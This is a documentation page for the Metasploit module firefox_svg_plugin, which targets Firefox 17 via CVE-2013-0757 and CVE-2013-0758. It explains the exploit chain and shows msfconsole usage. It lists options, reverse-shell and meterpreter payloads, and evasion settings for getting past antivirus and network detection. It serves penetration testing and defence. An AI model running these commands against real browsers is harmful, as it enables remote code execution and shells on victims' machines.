Firefox 17.0.1 Flash Privileged Code Injection - Metasploit


This page contains detailed information about how to use the exploit/multi/browser/firefox_svg_plugin metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Firefox 17.0.1 Flash Privileged Code Injection
Module: exploit/multi/browser/firefox_svg_plugin
Source code: modules/exploits/multi/browser/firefox_svg_plugin.rb
Disclosure date: 2013-01-08
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2013-0757, CVE-2013-0758

This exploit gains remote code execution on Firefox 17 and 17.0.1, provided the user has installed Flash. No memory corruption is used. First, a Flash object is cloned into the anonymous content of the SVG "use" element in the <body> (CVE-2013-0758). From there, the Flash object can navigate a child frame to a URL in the chrome:// scheme. Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper around the child frame's window reference and inject code into the chrome:// context. Once we have injection into the chrome execution context, we can write the payload to disk, chmod it (if posix), and then execute. Note: Flash is used here to trigger the exploit but any Firefox plugin with script access should be able to trigger it.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


msf > use exploit/multi/browser/firefox_svg_plugin
msf exploit(firefox_svg_plugin) > run

This module is also supported by Browser Autopwn 2.

To load it from Browser Autopwn 2, here's how:

msf > use auxiliary/server/browser_autopwn2 
msf auxiliary(browser_autopwn2) > set INCLUDE_PATTERN firefox_svg_plugin
INCLUDE_PATTERN => firefox_svg_plugin
msf auxiliary(browser_autopwn2) > exploit

Go back to menu.

Msfconsole Usage


Here is how the multi/browser/firefox_svg_plugin exploit module looks in the msfconsole:

msf6 > use exploit/multi/browser/firefox_svg_plugin

[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/browser/firefox_svg_plugin) > show info

       Name: Firefox 17.0.1 Flash Privileged Code Injection
     Module: exploit/multi/browser/firefox_svg_plugin
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-01-08

Provided by:
  Marius Mlynski
  joev <[email protected]>
  sinn3r <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Universal (Javascript XPCOM Shell)
  1   Native Payload

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  CONTENT                    no        Content to display inside the HTML <body>.
  DEBUG_JS  false            no        Display some alert()'s for debugging the payload.
  Retries   true             no        Allow the browser to retry the module
  SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080             yes       The local port to listen on.
  SSL       false            no        Negotiate SSL for incoming connections
  SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                    no        The URI to use for this exploit (default is random)

Payload information:

Description:
  This exploit gains remote code execution on Firefox 17 and 17.0.1, 
  provided the user has installed Flash. No memory corruption is used. 
  First, a Flash object is cloned into the anonymous content of the 
  SVG "use" element in the <body> (CVE-2013-0758). From there, the 
  Flash object can navigate a child frame to a URL in the chrome:// 
  scheme. Then a separate exploit (CVE-2013-0757) is used to bypass 
  the security wrapper around the child frame's window reference and 
  inject code into the chrome:// context. Once we have injection into 
  the chrome execution context, we can write the payload to disk, 
  chmod it (if posix), and then execute. Note: Flash is used here to 
  trigger the exploit but any Firefox plugin with script access should 
  be able to trigger it.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-0758
  https://nvd.nist.gov/vuln/detail/CVE-2013-0757
  OSVDB (89019)
  OSVDB (89020)
  http://www.mozilla.org/security/announce/2013/mfsa2013-15.html
  https://bugzilla.mozilla.org/show_bug.cgi?id=813906

Module Options


This is a complete list of options available in the multi/browser/firefox_svg_plugin exploit:

msf6 exploit(multi/browser/firefox_svg_plugin) > show options

Module options (exploit/multi/browser/firefox_svg_plugin):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CONTENT                    no        Content to display inside the HTML <body>.
   DEBUG_JS  false            no        Display some alert()'s for debugging the payload.
   Retries   true             no        Allow the browser to retry the module
   SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT   8080             yes       The local port to listen on.
   SSL       false            no        Negotiate SSL for incoming connections
   SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                    no        The URI to use for this exploit (default is random)

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Universal (Javascript XPCOM Shell)

Advanced Options


Here is a complete list of advanced options supported by the multi/browser/firefox_svg_plugin exploit:

msf6 exploit(multi/browser/firefox_svg_plugin) > show advanced

Module advanced options (exploit/multi/browser/firefox_svg_plugin):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   CookieExpiration                         no        Cookie expiration in years (blank=expire on exit)
   CookieName              __ua             no        The name of the tracking cookie
   Custom404                                no        An external custom 404 URL (Example: http://example.com/404.html)
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   JsIdentifiers                            no        Identifiers to preserve for JsObfu
   JsObfuscate             0                no        Number of times to obfuscate JavaScript
   ListenerComm                             no        The specific communication channel to use for this service
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   SendRobots              false            no        Return a robots.txt file if asked for one
   URIHOST                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (generic/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   ARCH                                         no        The architecture that is being targeted
   PLATFORM                                     no        The platform that is being targeted
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/browser/firefox_svg_plugin module can exploit:

msf6 exploit(multi/browser/firefox_svg_plugin) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Universal (Javascript XPCOM Shell)
   1   Native Payload

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/browser/firefox_svg_plugin exploit:

msf6 exploit(multi/browser/firefox_svg_plugin) > show payloads

Compatible Payloads
===================

   #  Name                                     Disclosure Date  Rank    Check  Description
   -  ----                                     ---------------  ----    -----  -----------
   0  payload/firefox/exec                                      normal  No     Firefox XPCOM Execute Command
   1  payload/firefox/shell_bind_tcp                            normal  No     Command Shell, Bind TCP (via Firefox XPCOM script)
   2  payload/firefox/shell_reverse_tcp                         normal  No     Command Shell, Reverse TCP (via Firefox XPCOM script)
   3  payload/generic/custom                                    normal  No     Custom Payload
   4  payload/generic/shell_bind_tcp                            normal  No     Generic Command Shell, Bind TCP Inline
   5  payload/generic/shell_reverse_tcp                         normal  No     Generic Command Shell, Reverse TCP Inline
   6  payload/multi/meterpreter/reverse_http                    normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   7  payload/multi/meterpreter/reverse_https                   normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)

Evasion Options


Here is the full list of possible evasion options supported by the multi/browser/firefox_svg_plugin exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/browser/firefox_svg_plugin) > show evasion

Module evasion options:

   Name                      Current Setting  Required  Description
   ----                      ---------------  --------  -----------
   HTML::base64              none             no        Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
   HTML::javascript::escape  0                no        Enable HTML obfuscation via HTML escaping (number of iterations)
   HTML::unicode             none             no        Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
   HTTP::chunked             false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression         none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding      false            no        Enable folding of HTTP headers
   HTTP::junk_headers        false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache            false            no        Disallow the browser to cache HTTP content
   HTTP::server_name         Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size        0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay           0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Marius Mlynski
  • joev
  • sinn3r

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.